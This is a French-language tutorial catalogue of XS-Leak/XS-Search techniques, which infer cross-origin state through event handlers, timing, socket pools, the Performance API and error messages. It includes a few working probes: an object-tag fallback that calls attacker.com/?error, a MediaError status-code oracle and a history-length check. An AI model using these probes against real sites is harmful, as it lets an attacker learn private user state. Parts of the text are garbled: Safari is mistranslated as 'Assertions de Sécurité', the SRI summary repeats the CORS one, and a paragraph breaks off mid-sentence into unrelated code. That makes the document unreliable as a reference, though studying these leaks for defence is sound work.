XS-Search/XS-Leaks

Reading time: 48 minutes

Informations de base

XS-Search est une méthode utilisée pour extraire des informations cross-origin en exploitant des vulnérabilités de canal auxiliaire.

Les composants clés impliqués dans cette attaque comprennent :

• Web vulnérable : Le site web cible à partir duquel les informations doivent être extraites.
• Web de l'attaquant : Le site web malveillant créé par l'attaquant, que la victime visite, hébergeant l'exploit.
• Méthode d'inclusion : La technique employée pour incorporer le Web vulnérable dans le Web de l'attaquant (par exemple, window.open, iframe, fetch, balise HTML avec href, etc.).
• Technique de fuite : Techniques utilisées pour discerner les différences dans l'état du Web vulnérable en fonction des informations recueillies par la méthode d'inclusion.
• États : Les deux conditions potentielles du Web vulnérable, que l'attaquant vise à distinguer.
• Différences détectables : Variations observables sur lesquelles l'attaquant s'appuie pour inférer l'état du Web vulnérable.

Différences détectables

Plusieurs aspects peuvent être analysés pour différencier les états du Web vulnérable :

• Code d'état : Distinguer entre divers codes de statut de réponse HTTP cross-origin, comme les erreurs de serveur, les erreurs de client ou les erreurs d'authentification.
• Utilisation de l'API : Identifier l'utilisation des API Web à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
• Redirections : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
• Contenu de la page : Observer les variations dans le corps de la réponse HTTP ou dans les sous-ressources de la page, comme le nombre de cadres intégrés ou les disparités de taille dans les images.
• En-tête HTTP : Noter la présence ou éventuellement la valeur d'un en-tête de réponse HTTP spécifique, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
• Temps : Remarquer des disparités de temps cohérentes entre les deux états.

Méthodes d'inclusion

• Éléments HTML : HTML offre divers éléments pour l'inclusion de ressources cross-origin, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée à https://github.com/cure53/HTTPLeaks.
• Cadres : Des éléments tels que iframe, object et embed peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page manque de protection contre le framing, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
• Pop-ups : La méthode window.open ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un handle de fenêtre pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
• Requêtes JavaScript : JavaScript permet des requêtes directes vers des ressources cibles en utilisant XMLHttpRequests ou l'API Fetch. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP.

Techniques de fuite

• Gestionnaire d'événements : Une technique de fuite classique dans les XS-Leaks, où des gestionnaires d'événements comme onload et onerror fournissent des informations sur le succès ou l'échec du chargement des ressources.
• Messages d'erreur : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant entre sa présence et son absence.
• Limites globales : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
• État global : Les interactions détectables avec les états globaux des navigateurs (par exemple, l'interface History) peuvent être exploitées. Par exemple, le nombre d'entrées dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
• API de performance : Cette API fournit des détails de performance de la page actuelle, y compris le timing réseau pour le document et les ressources chargées, permettant d'inférer sur les ressources demandées.
• Attributs lisibles : Certains attributs HTML sont lisibles cross-origin et peuvent être utilisés comme technique de fuite. Par exemple, la propriété window.frame.length permet à JavaScript de compter les cadres inclus dans une page web cross-origin.

Outil & Document XSinator

XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son document : https://xsinator.com/paper.pdf

Vous pouvez accéder à l'outil à https://xsinator.com/

Techniques basées sur le temps

Certaines des techniques suivantes vont utiliser le temps comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes manières de mesurer le temps dans un navigateur web.

Horloges : L'API performance.now() permet aux développeurs d'obtenir des mesures de temps à haute résolution.
Il existe un nombre considérable d'APIs que les attaquants peuvent abuser pour créer des horloges implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d'autres.
Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniques de gestionnaire d'événements

Onload/Onerror

• Méthodes d'inclusion : Cadres, Éléments HTML
• Différence détectable : Code d'état
• Plus d'infos : https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
• Résumé : si l'on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échoue, il est possible de déterminer le code d'état.
• Exemple de code : https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)

Cookie Bomb + Onerror XS Leak

L'exemple de code essaie de charger des objets de scripts JS, mais d'autres balises telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter la balise directement et de déclarer les événements onload et onerror à l'intérieur de la balise (au lieu de l'injecter depuis JS).

Il existe également une version sans script de cette attaque :

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Dans ce cas, si example.com/404 n'est pas trouvé, attacker.com/?error sera chargé.

Onload Timing

• Inclusion Methods: HTML Elements
• Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
• Summary: L'API performance.now() peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. Cependant, d'autres horloges pourraient être utilisées, comme l'API PerformanceLongTaskTiming qui peut identifier les tâches s'exécutant pendant plus de 50 ms.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events un autre exemple dans :

performance.now example

Onload Timing + Forced Heavy Task

Cette technique est similaire à la précédente, mais l'attaquant va également forcer une action pour prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.

performance.now + Force heavy task

unload/beforeunload Timing

• Inclusion Methods: Frames
• Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
• Summary: L'horloge SharedArrayBuffer peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements unload et beforeunload. L'événement beforeunload est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l'événement unload se produit lorsque la navigation a effectivement lieu. La différence de temps entre ces deux événements peut être calculée pour déterminer la durée que le navigateur a passée à récupérer la ressource.

Sandboxed Frame Timing + onload

• Inclusion Methods: Frames
• Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
• Summary: L'API performance.now() peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

Il a été observé qu'en l'absence de Framing Protections, le temps nécessaire pour qu'une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attaquant. Cette mesure est généralement possible car le gestionnaire onload d'un iframe est déclenché uniquement après l'achèvement du chargement des ressources et de l'exécution de JavaScript. Pour contourner la variabilité introduite par l'exécution de scripts, un attaquant pourrait utiliser l'attribut sandbox dans le <iframe>. L'inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l'exécution de JavaScript, facilitant ainsi une mesure qui est principalement influencée par la performance du réseau.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

• Inclusion Methods: Frames
• Detectable Difference: Contenu de la page
• More info:
• Summary: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n'importe quel contenu est accédé, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps.
• Code Example:

Supposons que vous puissiez insérer la page qui contient le contenu secret dans un Iframe.

Vous pouvez faire rechercher à la victime le fichier qui contient "flag" en utilisant un Iframe (en exploitant un CSRF par exemple). À l'intérieur de l'Iframe, vous savez que l'événement onload sera exécuté toujours au moins une fois. Ensuite, vous pouvez changer l'URL de l'iframe mais en changeant uniquement le contenu du hash à l'intérieur de l'URL.

Par exemple :

1. URL1: www.attacker.com/xssearch#try1
2. URL2: www.attacker.com/xssearch#try2

Si la première URL a été chargée avec succès, alors, lorsque vous changez la partie hash de l'URL, l'événement onload ne sera pas déclenché à nouveau. Mais si la page avait une sorte d'erreur lors du chargement, alors, l'événement onload sera déclenché à nouveau.

Ensuite, vous pouvez distinguer entre une page chargée correctement ou une page qui a une erreur lorsqu'elle est accédée.

Exécution Javascript

• Inclusion Methods: Frames
• Detectable Difference: Contenu de la page
• More info:
• Summary: Si la page retourne le contenu sensible, ou un contenu qui peut être contrôlé par l'utilisateur. L'utilisateur pourrait définir un code JS valide dans le cas négatif, un chargement à chaque essai à l'intérieur des <script> tags, donc dans les cas négatifs, le code des attaquants est exécuté, et dans les cas affirmatifs, rien ne sera exécuté.
• Code Example:

JavaScript Execution XS Leak

CORB - Onerror

• Inclusion Methods: Éléments HTML
• Detectable Difference: Code d'état & En-têtes
• More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
• Summary: Cross-Origin Read Blocking (CORB) est une mesure de sécurité qui empêche les pages web de charger certaines ressources sensibles d'origine croisée pour se protéger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une réponse soumise à CORB retourne un Content-Type protégé par CORB avec nosniff et un code d'état 2xx, CORB supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du code d'état (indiquant succès ou erreur) et du Content-Type (indiquant s'il est protégé par CORB), ce qui peut entraîner une fuite d'informations potentielle.
• Code Example:

Consultez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.

onblur

• Inclusion Methods: Frames
• Detectable Difference: Contenu de la page
• More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
• Summary: Fuite de données sensibles à partir de l'attribut id ou name.
• Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet

Il est possible de charger une page à l'intérieur d'un iframe et d'utiliser le #id_value pour faire focaliser la page sur l'élément de l'iframe avec l'id indiqué, puis si un signal onblur est déclenché, l'élément ID existe.
Vous pouvez effectuer la même attaque avec des tags portal.

postMessage Broadcasts

• Inclusion Methods: Frames, Pop-ups
• Detectable Difference: Utilisation de l'API
• More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
• Summary: Rassembler des informations sensibles à partir d'un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l'état de l'utilisateur sur la page
• Code Example: Tout code écoutant tous les postMessages.

Les applications utilisent fréquemment des postMessage broadcasts pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des informations sensibles si le paramètre targetOrigin n'est pas correctement spécifié, permettant à n'importe quelle fenêtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un oracle ; par exemple, certains messages peuvent n'être envoyés qu'aux utilisateurs qui sont connectés. Par conséquent, la présence ou l'absence de ces messages peut révéler des informations sur l'état ou l'identité de l'utilisateur, comme s'il est authentifié ou non.

Techniques de Limites Globales

API WebSocket

• Inclusion Methods: Frames, Pop-ups
• Detectable Difference: Utilisation de l'API
• More info: https://xsinator.com/paper.pdf (5.1)
• Summary: Épuiser la limite de connexion WebSocket révèle le nombre de connexions WebSocket d'une page d'origine croisée.
• Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)

Il est possible d'identifier si, et combien, de connexions WebSocket une page cible utilise. Cela permet à un attaquant de détecter les états d'application et de fuir des informations liées au nombre de connexions WebSocket.

Si une origine utilise le nombre maximum d'objets de connexion WebSocket, indépendamment de l'état de leurs connexions, la création de nouveaux objets entraînera des exceptions JavaScript. Pour exécuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenêtre pop-up ou un iframe et ensuite, après que le site web cible a été chargé, tente de créer le maximum de connexions WebSocket possible. Le nombre d'exceptions levées est le nombre de connexions WebSocket utilisées par la fenêtre du site web cible.

API de Paiement

• Inclusion Methods: Frames, Pop-ups
• Detectable Difference: Utilisation de l'API
• More info: https://xsinator.com/paper.pdf (5.1)
• Summary: Détecter la demande de paiement car une seule peut être active à la fois.
• Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak

Cette fuite XS permet à un attaquant de détecter quand une page d'origine croisée initie une demande de paiement.

Parce que une seule demande de paiement peut être active à la fois, si le site cible utilise l'API de demande de paiement, toute tentative ultérieure d'utiliser cette API échouera, et provoquera une exception JavaScript. L'attaquant peut exploiter cela en tentant périodiquement d'afficher l'interface utilisateur de l'API de paiement. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.

Chronométrage de la Boucle d'Événements

• Inclusion Methods:
• Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
• Summary: Mesurer le temps d'exécution d'un web en abusant de la boucle d'événements JS à thread unique.
• Code Example:

Event Loop Blocking + Lazy images

JavaScript fonctionne sur un modèle de concurrence de boucle d'événements à thread unique, signifiant qu'il ne peut exécuter qu'une seule tâche à la fois. Cette caractéristique peut être exploitée pour évaluer combien de temps le code d'une autre origine prend pour s'exécuter. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un attaquant peut déduire le temps qu'il faut pour que ces événements externes s'exécutent en observant les retards dans l'exécution de ses propres tâches. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code d'autres origines, exposant potentiellement des informations sensibles.

Boucle d'Événements Occupée

• Inclusion Methods:
• Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
• Summary: Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer combien de temps il faut pour que la boucle d'événements soit à nouveau disponible. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
• Code Example:

Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner l'Isolation de Site. L'Isolation de Site est une fonctionnalité de sécurité qui sépare différents sites en processus distincts, visant à empêcher les sites malveillants d'accéder directement aux données sensibles d'autres sites. Cependant, en influençant le chronométrage d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par l'Isolation de Site.

Pool de Connexion

• Inclusion Methods: Requêtes JavaScript
• Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
• Summary: Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a mis à charger.
• Code Example:

Connection Pool Examples

Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du système d'exploitation et du matériel, les navigateurs sont contraints d'imposer une limite sur le nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :

1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globaux.
2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes à divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
3. Utiliser le 256ème socket pour envoyer une requête à la page cible.
4. Tenter une 257ème requête à un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de chronométrage sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette déduction est possible car les 255 sockets de l'étape 2 sont toujours engagés, ce qui implique que tout nouveau socket disponible doit être celui libéré de l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.

Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Connexion par Destination

• Inclusion Methods: Requêtes JavaScript
• Detectable Difference: Chronométrage (généralement dû au Contenu de la page, Code d'état)
• More info:
• Summary: C'est comme la technique précédente mais au lieu d'utiliser tous les sockets, Google Chrome impose une limite de 6 requêtes simultanées à la même origine. Si nous bloquons 5 et ensuite lançons une 6ème requête, nous pouvons la chronométrer et si nous avons réussi à faire en sorte que la page victime envoie plus de requêtes au même point de terminaison pour détecter un statut de la page, la 6ème requête prendra plus de temps et nous pouvons le détecter.

Techniques de l'API de Performance

L'API de Performance offre des aperçus sur les métriques de performance des applications web, enrichies par l'API de Chronométrage des Ressources. L'API de Chronométrage des Ressources permet de surveiller les temps de requêtes réseau détaillés, tels que la durée des requêtes. Notamment, lorsque les serveurs incluent l'en-tête Timing-Allow-Origin: * dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.

Cette richesse de données peut être récupérée via des méthodes comme performance.getEntries ou performance.getEntriesByName, fournissant une vue complète des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de performance.now(). Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de performance.now() peut être limitée aux millisecondes, ce qui pourrait affecter la granularité des mesures de chronométrage.

Au-delà des mesures de chronométrage, l'API de Performance peut être exploitée pour des aperçus liés à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet performance dans Chrome peut indiquer l'application de X-Frame-Options. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de X-Frame-Options, elle ne sera pas enregistrée dans l'objet performance, fournissant un indice subtil sur les politiques de cadre de la page.

Fuite d'Erreur

• Inclusion Methods: Frames, Éléments HTML
• Detectable Difference: Code d'état
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: Une requête qui entraîne des erreurs ne créera pas d'entrée de chronométrage des ressources.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak

Il est possible de différencier entre les codes d'état de réponse HTTP car les requêtes qui entraînent une erreur ne créent pas d'entrée de performance.

Erreur de Rechargement de Style

• Inclusion Methods: Éléments HTML
• Detectable Difference: Code d'état
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: En raison d'un bug du navigateur, les requêtes qui entraînent des erreurs sont chargées deux fois.
• Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak

Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent des ressources étant chargées deux fois lorsqu'elles échouent à se charger. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.

Erreur de Fusion de Requêtes

• Inclusion Methods: Éléments HTML
• Detectable Difference: Code d'état
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: Les requêtes qui entraînent une erreur ne peuvent pas être fusionnées.
• Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Fuite de Page Vide

• Inclusion Methods: Frames
• Detectable Difference: Contenu de la page
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: Les réponses vides ne créent pas d'entrées de chronométrage des ressources.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak

Un attaquant peut détecter si une requête a entraîné un corps de réponse HTTP vide car les pages vides ne créent pas d'entrée de performance dans certains navigateurs.

Fuite de l'Auditeur XSS

• Inclusion Methods: Frames
• Detectable Difference: Contenu de la page
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: En utilisant l'Auditeur XSS dans les Assertions de Sécurité, les attaquants peuvent détecter des éléments spécifiques de la page web en observant les modifications dans les réponses lorsque des charges utiles conçues déclenchent le mécanisme de filtrage de l'auditeur.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

Dans les Assertions de Sécurité (SA), l'Auditeur XSS, initialement destiné à prévenir les attaques de Cross-Site Scripting (XSS), peut paradoxalement être exploité pour fuir des informations sensibles. Bien que cette fonctionnalité intégrée ait été supprimée de Google Chrome (GC), elle est toujours présente dans SA. En 2013, Braun et Heiderich ont démontré que l'Auditeur XSS pouvait bloquer involontairement des scripts légitimes, entraînant de faux positifs. S'appuyant sur cela, des chercheurs ont développé des techniques pour extraire des informations et détecter un contenu spécifique sur des pages d'origine croisée, un concept connu sous le nom de XS-Leaks, initialement rapporté par Terada et élaboré par Heyes dans un article de blog. Bien que ces techniques soient spécifiques à l'Auditeur XSS dans GC, il a été découvert que dans SA, les pages bloquées par l'Auditeur XSS ne génèrent pas d'entrées dans l'API de Performance, révélant une méthode par laquelle des informations sensibles pourraient encore être divulguées.

Fuite X-Frame

• Inclusion Methods: Frames
• Detectable Difference: En-tête
• More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
• Summary: Une ressource avec un en-tête X-Frame-Options ne crée pas d'entrée de chronométrage des ressources.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak

Si une page n'est pas autorisée à être rendu dans un iframe, elle ne crée pas d'entrée de performance. En conséquence, un attaquant peut détecter l'en-tête de réponse X-Frame-Options.
Il en va de même si vous utilisez une balise embed.

Détection de Téléchargement

• Inclusion Methods: Frames
• Detectable Difference: En-tête
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: Les téléchargements ne créent pas d'entrées de chronométrage des ressources dans l'API de Performance.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection

De manière similaire à la fuite XS décrite, une ressource qui est téléchargée en raison de l'en-tête ContentDisposition ne crée également pas d'entrée de performance. Cette technique fonctionne dans tous les navigateurs majeurs.

Fuite de Début de Redirection

• Inclusion Methods: Frames
• Detectable Difference: Redirection
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: L'entrée de chronométrage des ressources fuit le temps de début d'une redirection.
• Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak

Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans SA, il est possible de détecter si l'utilisateur est redirigé par la page cible, en interrogeant l'API de Performance et en vérifiant les données de chronométrage redirectStart.

Fuite de Durée de Redirection

• Inclusion Methods: API Fetch
• Detectable Difference: Redirection
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: La durée des entrées de chronométrage est négative lorsqu'une redirection se produit.
• Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

Dans GC, la durée des requêtes qui entraînent une redirection est négative et peut donc être distinguée des requêtes qui ne résultent pas en une redirection.

Fuite CORP

• Inclusion Methods: Frames
• Detectable Difference: En-tête
• More info: https://xsinator.com/paper.pdf (5.2)
• Summary: Les ressources protégées par CORP ne créent pas d'entrées de chronométrage des ressources.
• Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

Dans certains cas, l'entrée nextHopProtocol peut être utilisée comme une technique de fuite. Dans GC, lorsque l'en-tête CORP est défini, le nextHopProtocol sera vide. Notez que SA ne créera pas d'entrée de performance du tout pour les ressources activées par CORP.

Service Worker

• Inclusion Methods: Frames
• Detectable Difference: Utilisation de l'API
• More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
• Summary: Détecter si un service worker est enregistré pour une origine spécifique.
• Code Example:

Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arrière-plan d'une page web et peuvent intercepter, modifier et mettre en cache des ressources pour créer des applications web hors ligne.
Si une ressource mise en cache par un service worker est accédée via iframe, la ressource sera chargée à partir du cache du service worker.
Pour détecter si la ressource a été chargée à partir du cache du service worker, l'API de Performance peut être utilisée.
Cela pourrait également être fait avec une attaque de chronométrage (voir le document pour plus d'infos).

Cache

• Inclusion Methods: API Fetch
• Detectable Difference: Chronométrage
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
• Summary: Il est possible de vérifier si une ressource a été stockée dans le cache.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)

En utilisant l'API de Performance, il est possible de vérifier si une ressource est mise en cache.

Durée Réseau

• Inclusion Methods: API Fetch
• Detectable Difference: Contenu de la page
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
• Summary: Il est possible de récupérer la durée réseau d'une requête à partir de l'API performance.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

Technique des Messages d'Erreur

Erreur Média

• Inclusion Methods: Éléments HTML (Vidéo, Audio)
• Detectable Difference: Code d'état
• More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
• Summary: Dans Firefox, il est possible de fuir avec précision le code d'état d'une requête d'origine croisée.
• Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

L'interface MediaError a une propriété message qui identifie de manière unique les ressources qui se chargent avec succès grâce à une chaîne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de réponse d'une ressource cross-origin.

Erreur CORS

• Méthodes d'inclusion : Fetch API
• Différence détectable : En-tête
• Plus d'infos : https://xsinator.com/paper.pdf (5.3)
• Résumé : Dans les Assertions de Sécurité (SA), les messages d'erreur CORS exposent involontairement l'URL complète des requêtes redirigées.
• Exemple de code : https://xsinator.com/testing.html#CORS%20Error%20Leak

Cette technique permet à un attaquant d'extraire la destination d'une redirection d'un site cross-origin en exploitant la manière dont les navigateurs basés sur Webkit gèrent les requêtes CORS. Plus précisément, lorsqu'une requête activée CORS est envoyée à un site cible qui émet une redirection basée sur l'état de l'utilisateur et que le navigateur refuse ensuite la requête, l'URL complète de la cible de la redirection est divulguée dans le message d'erreur. Cette vulnérabilité révèle non seulement le fait de la redirection, mais expose également le point de terminaison de la redirection et tout paramètre de requête sensible qu'il peut contenir.

Erreur SRI

• Méthodes d'inclusion : Fetch API
• Différence détectable : En-tête
• Plus d'infos : https://xsinator.com/paper.pdf (5.3)
• Résumé : Dans les Assertions de Sécurité (SA), les messages d'erreur CORS exposent involontairement l'URL complète des requêtes redirigées.
• Exemple de code : https://xsinator.com/testing.html#SRI%20Error%20Leak

Un attaquant peut exploiter des messages d'erreur verbeux pour déduire la taille des réponses cross-origin. Cela est possible en raison du mécanisme d'Intégrité des Sous-ressources (SRI), qui utilise l'attribut d'intégrité pour valider que les ressources récupérées, souvent depuis des CDN, n'ont pas été altérées. Pour que le SRI fonctionne sur des ressources cross-origin, celles-ci doivent être activées CORS ; sinon, elles ne sont pas soumises à des vérifications d'intégrité. Dans les Assertions de Sécurité (SA), tout comme l'erreur CORS XS-Leak, un

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

• Inclusion Methods: Frames, Pop-ups
• Detectable Difference: Page Content
